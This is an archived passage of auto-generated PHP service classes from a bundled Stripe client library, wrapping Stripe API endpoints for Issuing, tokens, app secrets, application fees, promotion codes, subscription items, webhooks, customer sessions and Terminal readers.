$params, $opts); } /** * Updates the specified Issuing <code>Dispute</code> object by setting the values * of the parameters passed. Any parameters not provided will be left unchanged. * Properties on the <code>evidence</code> object can be unset by passing in an * empty string. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Dispute */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/issuing/disputes/%s', $id), $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Issuing/TransactionService.php�������������������������������������������0000644�����������������00000004114�14720677707�0017640 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TransactionService extends \Stripe\Service\AbstractService { /** * Returns a list of Issuing <code>Transaction</code> objects. The objects are * sorted in descending order by creation date, with the most recently created * object appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Transaction> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/issuing/transactions', $params, $opts); } /** * Retrieves an Issuing <code>Transaction</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Transaction */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/issuing/transactions/%s', $id), $params, $opts); } /** * Updates the specified Issuing <code>Transaction</code> object by setting the * values of the parameters passed. Any parameters not provided will be left * unchanged. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Transaction */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/issuing/transactions/%s', $id), $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TokenService.php���������������������������������������������������������0000644�����������������00000003157�14720677707�0015020 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TokenService extends \Stripe\Service\AbstractService { /** * Creates a single-use token that represents a bank account’s details. You can use * this token with any API method in place of a bank account dictionary. You can * only use this token once. To do so, attach it to a <a href="#accounts">connected * account</a> where <a * href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> * is <code>application</code>, which includes Custom accounts. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Token */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/tokens', $params, $opts); } /** * Retrieves the token with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Token */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/tokens/%s', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Apps/SecretService.php���������������������������������������������������0000644�����������������00000004153�14720677707�0016065 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Apps; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SecretService extends \Stripe\Service\AbstractService { /** * List all secrets stored on the given scope. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Apps\Secret> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/apps/secrets', $params, $opts); } /** * Create or replace a secret in the secret store. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Apps\Secret */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/apps/secrets', $params, $opts); } /** * Deletes a secret from the secret store by name and scope. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Apps\Secret */ public function deleteWhere($params = null, $opts = null) { return $this->request('post', '/v1/apps/secrets/delete', $params, $opts); } /** * Finds a secret in the secret store by name and scope. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Apps\Secret */ public function find($params = null, $opts = null) { return $this->request('get', '/v1/apps/secrets/find', $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Apps/AppsServiceFactory.php����������������������������������������������0000644�����������������00000001047�14720677707�0017072 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Apps; /** * Service factory class for API resources in the Apps namespace. * * @property SecretService $secrets */ class AppsServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'secrets' => SecretService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/ApplicationFeeService.php������������������������������������������������0000644�����������������00000011636�14720677707�0016624 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ApplicationFeeService extends \Stripe\Service\AbstractService { /** * Returns a list of application fees you’ve previously collected. The application * fees are returned in sorted order, with the most recent fees appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ApplicationFee> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/application_fees', $params, $opts); } /** * You can see a list of the refunds belonging to a specific application fee. Note * that the 10 most recent refunds are always available by default on the * application fee object. If you need more than those 10, you can use this API * method and the <code>limit</code> and <code>starting_after</code> parameters to * page through additional refunds. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ApplicationFeeRefund> */ public function allRefunds($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/application_fees/%s/refunds', $parentId), $params, $opts); } /** * Refunds an application fee that has previously been collected but not yet * refunded. Funds will be refunded to the Stripe account from which the fee was * originally collected. * * You can optionally refund only part of an application fee. You can do so * multiple times, until the entire fee has been refunded. * * Once entirely refunded, an application fee can’t be refunded again. This method * will raise an error when called on an already-refunded application fee, or when * trying to refund more money than is left on an application fee. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplicationFeeRefund */ public function createRefund($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/application_fees/%s/refunds', $parentId), $params, $opts); } /** * Retrieves the details of an application fee that your account has collected. The * same information is returned when refunding the application fee. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplicationFee */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/application_fees/%s', $id), $params, $opts); } /** * By default, you can see the 10 most recent refunds stored directly on the * application fee object, but you can also retrieve details about a specific * refund stored on the application fee. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplicationFeeRefund */ public function retrieveRefund($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/application_fees/%s/refunds/%s', $parentId, $id), $params, $opts); } /** * Updates the specified application fee refund by setting the values of the * parameters passed. Any parameters not provided will be left unchanged. * * This request only accepts metadata as an argument. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplicationFeeRefund */ public function updateRefund($parentId, $id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/application_fees/%s/refunds/%s', $parentId, $id), $params, $opts); } } ��������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/PromotionCodeService.php�������������������������������������������������0000644�����������������00000005104�14720677707�0016513 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PromotionCodeService extends \Stripe\Service\AbstractService { /** * Returns a list of your promotion codes. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PromotionCode> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/promotion_codes', $params, $opts); } /** * A promotion code points to a coupon. You can optionally restrict the code to a * specific customer, redemption limit, and expiration date. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PromotionCode */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/promotion_codes', $params, $opts); } /** * Retrieves the promotion code with the given ID. In order to retrieve a promotion * code by the customer-facing <code>code</code> use <a * href="/docs/api/promotion_codes/list">list</a> with the desired * <code>code</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PromotionCode */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/promotion_codes/%s', $id), $params, $opts); } /** * Updates the specified promotion code by setting the values of the parameters * passed. Most fields are, by design, not editable. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PromotionCode */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/promotion_codes/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/SubscriptionItemService.php����������������������������������������������0000644�����������������00000013766�14720677707�0017252 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SubscriptionItemService extends \Stripe\Service\AbstractService { /** * Returns a list of your subscription items for a given subscription. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\SubscriptionItem> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/subscription_items', $params, $opts); } /** * For the specified subscription item, returns a list of summary objects. Each * object in the list provides usage information that’s been summarized from * multiple usage records and over a subscription billing period (e.g., 15 usage * records in the month of September). * * The list is sorted in reverse-chronological order (newest first). The first list * item represents the most current usage period that hasn’t ended yet. Since new * usage records can still be added, the returned summary information for the * subscription item’s ID should be seen as unstable until the subscription billing * period ends. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\UsageRecordSummary> */ public function allUsageRecordSummaries($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/subscription_items/%s/usage_record_summaries', $parentId), $params, $opts); } /** * Adds a new item to an existing subscription. No existing items will be changed * or replaced. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionItem */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/subscription_items', $params, $opts); } /** * Creates a usage record for a specified subscription item and date, and fills it * with a quantity. * * Usage records provide <code>quantity</code> information that Stripe uses to * track how much a customer is using your service. With usage information and the * pricing model set up by the <a * href="https://stripe.com/docs/billing/subscriptions/metered-billing">metered * billing</a> plan, Stripe helps you send accurate invoices to your customers. * * The default calculation for usage is to add up all the <code>quantity</code> * values of the usage records within a billing period. You can change this default * behavior with the billing plan’s <code>aggregate_usage</code> <a * href="/docs/api/plans/create#create_plan-aggregate_usage">parameter</a>. When * there is more than one usage record with the same timestamp, Stripe adds the * <code>quantity</code> values together. In most cases, this is the desired * resolution, however, you can change this behavior with the <code>action</code> * parameter. * * The default pricing model for metered billing is <a * href="/docs/api/plans/object#plan_object-billing_scheme">per-unit pricing</a>. * For finer granularity, you can configure metered billing to have a <a * href="https://stripe.com/docs/billing/subscriptions/tiers">tiered pricing</a> * model. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\UsageRecord */ public function createUsageRecord($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/subscription_items/%s/usage_records', $parentId), $params, $opts); } /** * Deletes an item from the subscription. Removing a subscription item from a * subscription will not cancel the subscription. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionItem */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/subscription_items/%s', $id), $params, $opts); } /** * Retrieves the subscription item with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionItem */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/subscription_items/%s', $id), $params, $opts); } /** * Updates the plan or quantity of an item on a current subscription. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionItem */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/subscription_items/%s', $id), $params, $opts); } } ����������stripe-gateway/lib/Service/WebhookEndpointService.php�����������������������������������������������0000644�����������������00000007043�14720677707�0017035 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class WebhookEndpointService extends \Stripe\Service\AbstractService { /** * Returns a list of your webhook endpoints. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\WebhookEndpoint> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/webhook_endpoints', $params, $opts); } /** * A webhook endpoint must have a <code>url</code> and a list of * <code>enabled_events</code>. You may optionally specify the Boolean * <code>connect</code> parameter. If set to true, then a Connect webhook endpoint * that notifies the specified <code>url</code> about events from all connected * accounts is created; otherwise an account webhook endpoint that notifies the * specified <code>url</code> only about events from your account is created. You * can also create webhook endpoints in the <a * href="https://dashboard.stripe.com/account/webhooks">webhooks settings</a> * section of the Dashboard. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\WebhookEndpoint */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/webhook_endpoints', $params, $opts); } /** * You can also delete webhook endpoints via the <a * href="https://dashboard.stripe.com/account/webhooks">webhook endpoint * management</a> page of the Stripe dashboard. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\WebhookEndpoint */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/webhook_endpoints/%s', $id), $params, $opts); } /** * Retrieves the webhook endpoint with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\WebhookEndpoint */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/webhook_endpoints/%s', $id), $params, $opts); } /** * Updates the webhook endpoint. You may edit the <code>url</code>, the list of * <code>enabled_events</code>, and the status of your endpoint. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\WebhookEndpoint */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/webhook_endpoints/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/CustomerSessionService.php�����������������������������������������������0000644�����������������00000001612�14720677707�0017077 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CustomerSessionService extends \Stripe\Service\AbstractService { /** * Creates a Customer Session object that includes a single-use client secret that * you can use on your front-end to grant client-side API access for certain * customer resources. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerSession */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/customer_sessions', $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Terminal/ConfigurationService.php����������������������������������������0000644�����������������00000005473�14720677707�0020325 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Terminal; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ConfigurationService extends \Stripe\Service\AbstractService { /** * Returns a list of <code>Configuration</code> objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Terminal\Configuration> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/terminal/configurations', $params, $opts); } /** * Creates a new <code>Configuration</code> object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Configuration */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/terminal/configurations', $params, $opts); } /** * Deletes a <code>Configuration</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Configuration */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/terminal/configurations/%s', $id), $params, $opts); } /** * Retrieves a <code>Configuration</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Configuration */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/terminal/configurations/%s', $id), $params, $opts); } /** * Updates a new <code>Configuration</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Configuration */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/terminal/configurations/%s', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Terminal/ConnectionTokenService.php��������������������������������������0000644�����������������00000001717�14720677707�0020613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Terminal; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ConnectionTokenService extends \Stripe\Service\AbstractService { /** * To connect to a reader the Stripe Terminal SDK needs to retrieve a short-lived * connection token from Stripe, proxied through your server. On your backend, add * an endpoint that creates and returns a connection token. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\ConnectionToken */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/terminal/connection_tokens', $params, $opts); } } �������������������������������������������������stripe-gateway/lib/Service/Terminal/LocationService.php���������������������������������������������0000644�����������������00000005776�14720677707�0017274 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Terminal; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class LocationService extends \Stripe\Service\AbstractService { /** * Returns a list of <code>Location</code> objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Terminal\Location> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/terminal/locations', $params, $opts); } /** * Creates a new <code>Location</code> object. For further details, including which * address fields are required in each country, see the <a * href="/docs/terminal/fleet/locations">Manage locations</a> guide. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Location */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/terminal/locations', $params, $opts); } /** * Deletes a <code>Location</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Location */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/terminal/locations/%s', $id), $params, $opts); } /** * Retrieves a <code>Location</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Location */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/terminal/locations/%s', $id), $params, $opts); } /** * Updates a <code>Location</code> object by setting the values of the parameters * passed. Any parameters not provided will be left unchanged. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Location */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/terminal/locations/%s', $id), $params, $opts); } } ��stripe-gateway/lib/Service/Terminal/TerminalServiceFactory.php��������������������������������������0000644�����������������00000001550�14720677707�0020611 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Terminal; /** * Service factory class for API resources in the Terminal namespace. * * @property ConfigurationService $configurations * @property ConnectionTokenService $connectionTokens * @property LocationService $locations * @property ReaderService $readers */ class TerminalServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'configurations' => ConfigurationService::class, 'connectionTokens' => ConnectionTokenService::class, 'locations' => LocationService::class, 'readers' => ReaderService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Terminal/ReaderService.php�����������������������������������������������0000644�����������������00000012626�14720677707�0016716 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Terminal; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ReaderService extends \Stripe\Service\AbstractService { /** * Returns a list of <code>Reader</code> objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Terminal\Reader> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/terminal/readers', $params, $opts); } /** * Cancels the current reader action. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public function cancelAction($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/terminal/readers/%s/cancel_action', $id), $params, $opts); } /** * Creates a new <code>Reader</code> object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/terminal/readers', $params, $opts); } /** * Deletes a <code>Reader</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/terminal/readers/%s', $id), $params, $opts); } /** * Initiates a payment flow on a Reader. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public function processPaymentIntent($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/terminal/readers/%s/process_payment_intent', $id), $params, $opts); } /** * Initiates a setup intent flow on a Reader. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public function processSetupIntent($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/terminal/readers/%s/process_setup_intent', $id), $params, $opts); } /** * Initiates a refund on a Reader. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public function refundPayment($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/terminal/readers/%s/refund_payment', $id), $params, $opts); } /** * Retrieves a <code>Reader</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/terminal/readers/%s', $id), $params, $opts); } /** * 